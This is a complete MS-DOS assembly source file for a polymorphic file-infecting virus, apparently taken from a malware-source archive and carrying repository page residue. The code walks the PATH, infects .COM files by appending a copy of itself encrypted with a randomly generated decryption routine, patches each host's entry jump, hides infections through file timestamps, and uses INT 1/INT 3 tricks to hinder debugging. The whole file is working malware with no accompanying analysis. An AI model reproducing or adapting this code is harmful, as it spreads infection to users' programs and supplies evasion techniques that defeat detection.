MalwareSourceCode/MSDOS/V-Index/Virus.MSDOS.Unknown.v2p.asm

759 lines
23 KiB
NASM
Raw Normal View History

2022-08-21 09:07:57 +00:00
;
;
; Copyright (C) Mark Washburn, 1990. All Rights Reserved
;
;
; Inquires are directed to :
; Mark Washburn
; 4656 Polk Street NE
; Columbia Heights, MN 55421
; USA
;
;
;
;
code segment public 'CODE'
org 100h
;
assume cs:code,ds:code,es:code
;
stopdebug equ 1 ; define this for disassembly trap code
int1vec equ 4
int3vec equ 12
;
dta_ptr equ -4
file_crea equ -8
file_attr equ -10
path_start_ptr equ -12
file_start_ptr equ -14
RAND_SEED equ -16
ptr1 equ -18 ; pointer to start of loop code
ptr2 equ -20 ; save data_begin pointer
dat1 equ -22 ; the random code used
dat2 equ -24 ; the decode length plus random length offset, max_msk
; to make the decode routine more difficult to detect
dat3 equ -26 ; the 'necessary crypt code' mask
;
IFNDEF stopdebug
local_stack equ 26
max_msk equ 0ffh ; this determines the maximum variance of length
ELSE
nobugptr equ -28
oldint3 equ -32
oldint1 equ -36
local_stack equ 36
max_msk equ 0ffh ; this determines the maximum variance of length
ENDIF
;
;
;
doscall macro call_type
ifnb <call_type>
mov ah, call_type
endif
int 21h
endm
;
setloc macro arg1,reg2
mov [bp + arg1],reg2
endm
;
getloc macro reg1,arg2
mov reg1,[bp + arg2]
endm
;
setdat macro arg1,reg2
mov [si + offset arg1 - offset data_begin],reg2
endm
;
getdat macro reg1,arg2
mov reg1,[si + offset arg2 - offset data_begin]
endm
;
regofs macro reg1,arg2
mov reg1,si
add reg1,offset (arg2 - data_begin)
endm
;
NOBUG1 macro
IFDEF stopdebug
INT 3
NOP
ENDIF
endm
;
nobug2 macro
IFDEF stopdebug
INT 3
ENDIF
endm
;
;
start:
jmp entry
;
;
;
MOV AH,0
INT 021h ; program code
; db 600h-6 dup (0)
; insert utility code here
;
entry:
; space for decode routine
IFDEF stopdebug
call precrypt
db 36 dup (090h) ; calculated length of offset(t41-t10)
ELSE
db 39 dup (090h) ; calculated length of offset(t41-t10)
ENDIF
;
; label the start of encoded section
entry2:
mov bp,sp ; allocate locals
sub sp,local_stack
;
push cx
movcmd: ; this label is used to locate the next instruction
mov dx,offset data_begin
setloc ptr2,dx ; save - will be modified in 'gencode'
IFDEF stopdebug
;
; save interrupt 1 and 3 vectors
;
push ds
mov ax,0
push ax
pop ds
cli
mov ax,ds:[int1vec]
setloc oldint1,ax
mov ax,ds:[int1vec+2]
setloc oldint1+2,ax
mov ax,ds:[int3vec]
setloc oldint3,ax
mov ax,ds:[int3vec+2]
setloc oldint3+2,ax
sti
pop ds
;
call bugon
ENDIF
mov si,dx
add si,(offset old_code - offset data_begin)
mov di,0100h
mov cx,03h
cld
repz movsb
mov si,dx
doscall 30h ; check DOS version
cmp al,0
NOBUG1 ; 0
jnz cont1 ; DOS > 2.0
jmp exit
cont1:
push es
doscall 2fh ; get program DTA
NOBUG1 ; 0
setloc dta_ptr,bx
NOBUG1 ; 0
setloc dta_ptr+2,es
pop es
regofs dx,my_dta
doscall 1ah ; set new DTA
push es
push si
mov es,ds:[02ch] ; environment address
mov di,0
loop1:
pop si
push si
add si,(offset path_chars - offset data_begin)
lodsb
mov cx,8000h
repnz scasb
mov cx,4
loop2:
lodsb
scasb
jnz loop1
loop loop2
pop si
pop es
setloc path_start_ptr,di
mov bx,si
add si,offset (file_name-data_begin)
mov di,si
jmp cont6
nobug2
next_path:
cmp word ptr [bp + path_start_ptr],0
jnz cont3
jmp exit2
nobug2
cont3:
push ds
push si
mov ds,es:[002ch]
mov di,si
mov si,es:[bp+path_start_ptr]
add di,offset (file_name-data_begin)
loop3:
lodsb
cmp al,';' ; 3bh
jz cont4
cmp al,0
jz cont5
stosb
jmp loop3
nobug2
cont5:
mov si,0
cont4:
pop bx
pop ds
mov [bp+path_start_ptr],si
cmp ch,0ffh
jz cont6
mov al,'\' ; 5ch
stosb
cont6:
mov [bp+file_start_ptr],di
mov si,bx
add si,(offset com_search-offset data_begin)
mov cx,6
repz movsb
mov si,bx
mov ah,04eh
regofs dx,file_name
mov cx,3
doscall
jmp cont7
nobug2
next_file:
doscall 04fh
cont7:
jnb cont8
jmp next_path
nobug2
cont8:
mov ax,[si+offset(my_dta-data_begin)+016h] ; low time byte
and al,01fh
cmp al,01fh
jz next_file
IFNDEF stopdebug
cmp word ptr [si+offset(my_dta-data_begin)+01ah],0fa00h
; file length compared; need 1.5 k spare, see rnd off
ELSE
cmp word ptr [si+offset(my_dta-data_begin)+01ah],0f800h
ENDIF
jz next_file ; with virus length
cmp word ptr [si+offset(my_dta-data_begin)+01ah],0ah
; file to short
jz next_file
mov di,[bp+file_start_ptr]
push si
add si,offset(my_dta-data_begin+01eh)
move_name:
lodsb
stosb
cmp al,0
jnz move_name
pop si
mov ax,04300h
regofs dx,file_name
doscall
setloc file_attr,cx
mov ax,04301h
and cx,0fffeh
regofs dx,file_name
doscall
mov ax,03d02h
regofs dx,file_name
doscall
jnb cont9
jmp exit3
nobug2
cont9:
mov bx,ax
mov ax,05700h
doscall
setloc file_crea,cx
setloc file_crea+2,dx
cont10:
mov ah,3fh
mov cx,3
regofs dx,old_code
doscall
NOBUG1 ; 1
jb cont98
NOBUG1
cmp ax,3
NOBUG1
jnz cont98
NOBUG1
mov ax,04202h
NOBUG1 ;1
mov cx,0
mov dx,0
doscall
jnb cont99
cont98:
jmp exit4
cont99:
NOBUG1 ; 2
push bx ; save file handle
NOBUG1
mov cx,ax
push cx
NOBUG1
sub ax,3
NOBUG1
setdat jump_code+1,ax
add cx,(offset data_begin-offset entry+0100h)
NOBUG1
mov di,si
NOBUG1
sub di,offset data_begin-offset movcmd-1
NOBUG1
mov [di],cx
;
doscall 02ch ; seed the random number generator
xor dx,cx
NOBUG1
setloc rand_seed,dx
NOBUG1 ; 2
call random
NOBUG1 ; 3
getloc ax,rand_seed
NOBUG1 ; 3
and ax,max_msk ; add a random offset to actual length
NOBUG1 ; 3
add ax,offset (data_end-entry2) ; set decode length
NOBUG1 ; 3
setloc dat2,ax ; save the decode length
NOBUG1 ; 3
setdat (t13+1),ax ; set decode length in 'mov cx,xxxx'
pop cx ; restore the code length of file to be infected
NOBUG1 ; 3
add cx,offset (entry2-entry+0100h) ; add the length
; of uncoded area plus file offset
setdat (t11+1),cx ; set decode begin in 'mov di,xxxx'
NOBUG1 ; 3
call random
getloc ax,rand_seed
NOBUG1 ; 3
setloc dat1,ax ; save this random key in dat1
setdat (t12+1),ax ; set random key in 'mov ax,xxxx'
NOBUG1 ; 3
mov di,si
NOBUG1 ; 3
sub di,offset (data_begin-entry)
NOBUG1 ; 3
mov bx,si
add bx,offset (l11-data_begin) ; table L11 address
mov word ptr [bp+dat3],000000111b ; required routines
call gen2 ; generate first part of decrypt
setloc ptr1,di ; save the current counter to resolve 'loop'
add bx,offset (l21-l11) ; add then next tables' offset
NOBUG1 ; 3
mov word ptr [bp+dat3],010000011b ; required plus 'nop'
NOBUG1 ; 3
call gen2 ; generate second part of decrypt
add bx,offset (l31-l21) ; add the next offset
NOBUG1
call gen2 ; generate third part of decrypt
mov cx,2 ; store the loop code
getloc si,ptr2
NOBUG1 ; 3
add si,offset (t40-t10) ; point to the code
repz movsb ; move the code
getloc ax,ptr1 ; the loop address pointer
sub ax,di ; the current address
dec di ; point to the jump address
stosb ; resolve the jump
; fill in the remaining code
l991:
getloc cx,ptr2 ; get the data_begin pointer
sub cx,offset (data_begin-entry2) ; locate last+1 entry
cmp cx,di ; are we there yet?
je l992 ; if not then fill some more space
mov dx,0h ; any code is ok
call gencode ; generate the code
jmp l991
nobug2
l992:
getloc si,ptr2 ; restore si to point to data area ;
push si
mov di,si
NOBUG1 ; 4
mov cx,offset(end1-begin1) ; move code
add si,offset(begin1-data_begin)
NOBUG1 ; 4
add di,offset(data_end-data_begin+max_msk) ; add max_msk
mov dx,di ; set subroutine start
repz movsb ; move the code
pop si
pop bx ; restore handle
call setrtn ; find this address
add ax,06h ; <- the number necessary for proper return
push ax
jmp dx ; continue with mask & write code
; continue here after return from mask & write code
NOBUG1 ; 4
jb exit4
cmp ax,offset(data_end-entry)
NOBUG1 ; 4
jnz exit4
mov ax,04200h
mov cx,0
mov dx,0
doscall
jb exit4
mov ah,040h
mov cx,3
NOBUG1 ; 4
regofs dx,jump_code
doscall
exit4:
getloc dx,file_crea+2
getloc cx,file_crea
and cx,0ffe0h
or cx,0001fh
mov ax,05701h
doscall
doscall 03Eh ; close file
exit3:
mov ax,04301h
getloc cx,file_attr
regofs dx,file_name
doscall
exit2:
push ds
getloc dx,dta_ptr
getloc ds,dta_ptr+2
doscall 01ah
pop ds
exit:
pop cx
xor ax,ax
xor bx,bx
xor dx,dx
xor si,si
mov sp,bp ; deallocate locals
mov di,0100h
push di
CALL BUGOFF
ret
;
; common subroutines
;
;
random proc near
;
getloc cx,rand_seed ; get the seed
xor cx,813Ch ; xor random pattern
add cx,9248h ; add random pattern
ror cx,1 ; rotate
ror cx,1 ; three
ror cx,1 ; times.
setloc rand_seed,cx ; put it back
and cx,7 ; ONLY NEED LOWER 3 BITS
push cx
inc cx
xor ax,ax
stc
rcl ax,cl
pop cx
ret ; return
;
random endp
;
setrtn proc near
;
pop ax ; ret near
push ax
ret
;
setrtn endp
;
gencode proc near
;
l999:
call random
test dx,ax ; has this code been used yet?
jnz l999 ; if this code was generated - try again
or dx,ax ; set the code as used in dx
mov ax,cx ; the look-up index
sal ax,1
push ax
xlat
mov cx,ax ; the count of instructions
pop ax
inc ax
xlat
add ax,[bp+ptr2] ; ax = address of code to be moved
mov si,ax
repz movsb ; move the code into place
ret
;
gencode endp
;
gen2 proc near
;
mov dx,0h ; used code
l990:
call gencode
mov ax,dx ; do we need more code
and ax,[bp+dat3] ; the mask for the required code
cmp ax,[bp+dat3]
jne l990 ; if still need required code - loop again
ret
;
gen2 endp
;
IFDEF stopdebug
doint3:
push bx
mov bx,sp
push ax
push si
mov si,word ptr [bx+02]
inc word ptr [bx+02] ; point to next address
setloc nobugptr,si
lodsb ; get the byte following int 3
xor byte ptr [si],al
mov al,[bx+7] ; set the trap flag
or al,1
mov [bx+7],al
pop si
pop ax
pop bx
iret
;
doint1:
push bx
mov bx,sp
push ax
push si
getloc si,nobugptr
lodsb
xor byte ptr [si],al
mov al,[bx+7] ; clear the trap flag
and al,0feh
mov [bx+7],al
pop si
pop ax
pop bx
bugiret:
iret
;
bugon:
pushf
push ds
push ax
mov ax,0
push ax
pop ds
getloc ax,ptr2
sub ax,offset(data_begin-doint3)
cli
mov ds:[int3vec],ax
getloc ax,ptr2
sub ax,offset(data_begin-doint1)
mov ds:[int1vec],ax
push cs
pop ax
mov ds:[int1vec+2],ax
mov ds:[int3vec+2],ax
sti
pop ax
pop ds
popf
ret
;
bugoff:
pushf
push ds
push ax
mov ax,0
push ax
pop ds
getloc ax,oldint3
cli
mov ds:[int3vec],ax
getloc ax,oldint1
mov ds:[int1vec],ax
getloc ax,oldint1+2
mov ds:[int1vec+2],ax
getloc ax,oldint3+2
mov ds:[int3vec+2],ax
sti
pop ax
pop ds
popf
ret
;
ENDIF
;
;
; the data area
;
data_begin label near
;
T10 LABEL NEAR
T11: MOV DI,0FFFFH
T12: MOV AX,0FFFFH
T13: MOV CX,0FFFFH
T14: CLC
T15: CLD
T16: INC SI
T17: DEC BX
T18: NOP
T19 LABEL NEAR
;
T20 LABEL NEAR
T21: XOR [DI],AX
T22: XOR [DI],CX
T23: XOR DX,CX
T24: XOR BX,CX
T25: SUB BX,AX
T26: SUB BX,CX
T27: SUB BX,DX
T28: NOP
T29 LABEL NEAR
;
T30 LABEL NEAR
T31: INC AX
T32: INC DI
T33: INC BX
T34: INC SI
T35: INC DX
T36: CLC
T37: DEC BX
T38: NOP
T39 LABEL NEAR
;
T40: LOOP T20
T41 LABEL NEAR
;
L11: DB OFFSET (T12-T11),OFFSET (T11-data_begin)
L12: DB OFFSET (T13-T12),OFFSET (T12-data_begin)
L13: DB OFFSET (T14-T13),OFFSET (T13-data_begin)
L14: DB OFFSET (T15-T14),OFFSET (T14-data_begin)
L15: DB OFFSET (T16-T15),OFFSET (T15-data_begin)
L16: DB OFFSET (T17-T16),OFFSET (T16-data_begin)
L17: DB OFFSET (T18-T17),OFFSET (T17-data_begin)
L18: DB OFFSET (T19-T18),OFFSET (T18-data_begin)
;
L21: DB OFFSET (T22-T21),OFFSET (T21-data_begin)
L22: DB OFFSET (T23-T22),OFFSET (T22-data_begin)
L23: DB OFFSET (T24-T23),OFFSET (T23-data_begin)
L24: DB OFFSET (T25-T24),OFFSET (T24-data_begin)
L25: DB OFFSET (T26-T25),OFFSET (T25-data_begin)
L26: DB OFFSET (T27-T26),OFFSET (T26-data_begin)
L27: DB OFFSET (T28-T27),OFFSET (T27-data_begin)
L28: DB OFFSET (T29-T28),OFFSET (T28-data_begin)
;
L31: DB OFFSET (T32-T31),OFFSET (T31-data_begin)
L32: DB OFFSET (T33-T32),OFFSET (T32-data_begin)
L33: DB OFFSET (T34-T33),OFFSET (T33-data_begin)
L34: DB OFFSET (T35-T34),OFFSET (T34-data_begin)
L35: DB OFFSET (T36-T35),OFFSET (T35-data_begin)
L36: DB OFFSET (T37-T36),OFFSET (T36-data_begin)
L37: DB OFFSET (T38-T37),OFFSET (T37-data_begin)
L38: DB OFFSET (T39-T38),OFFSET (T38-data_begin)
;
;
;
; this routine is relocated after the end of data area
; this routine encrypts, writes, and decrypts the virus code
;
begin1:
getloc cx,dat2 ; get off (data_end-entry2) plus max_msk
getloc ax,dat1 ; get decode ket
mov di,si ; and set the begin encrypt address
sub di,offset (data_begin-entry2)
call crypt
mov ah,040h
mov cx,offset data_end-offset entry
mov dx,si
sub dx,offset data_begin-offset entry
doscall
pushf ; save the status of the write
push ax
getloc cx,dat2 ; get off (data_end-entry2) plus max_msk
getloc ax,dat1
mov di,si
sub di,offset (data_begin-entry2)
call crypt
pop ax ; restore the DOS write's status
popf
ret
;
crypt:
xor [di],ax
xor [di],cx
inc ax
inc di
loop crypt
ret
end1:
;
; global work space and constants
;
old_code: db 090h,090h,090h
jump_code: db 0e9h,0,0
com_search: db '*.COM',0
path_chars: db 'PATH='
file_name: db 40h DUP (0)
my_dta: db 2Bh DUP (0)
db 0,0,0
data_end label near
IFDEF stopdebug
;
scan_bytes db 0CCh,090h
;
precrypt:
mov bp,sp ; allocate locals
sub sp,local_stack
doscall 02ch ; seed the random number generator
xor dx,cx
setloc rand_seed,dx
call random
mov di,offset start
push ds
pop es
lp999:
mov cx,08000h
mov si,offset scan_bytes
lodsb
repnz scasb
cmp cx,0
je done998
cmp di,offset data_end
jge done998
lodsb
scasb
jnz lp999
call random
getloc ax,rand_seed
dec di
mov [di],al
inc di
xor [di],al
inc di ; skip the masked byte
jmp short lp999
done998:
mov sp,bp
ret
ENDIF
code ends
end start
2021-01-13 00:04:54 +00:00